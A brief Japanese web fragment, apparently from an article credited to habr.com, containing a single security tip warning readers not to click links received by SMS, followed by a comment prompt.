    • SMS メッセヌゞで受信したリンクをクリックしないでください。

出所 habr.com

コメントを远加したす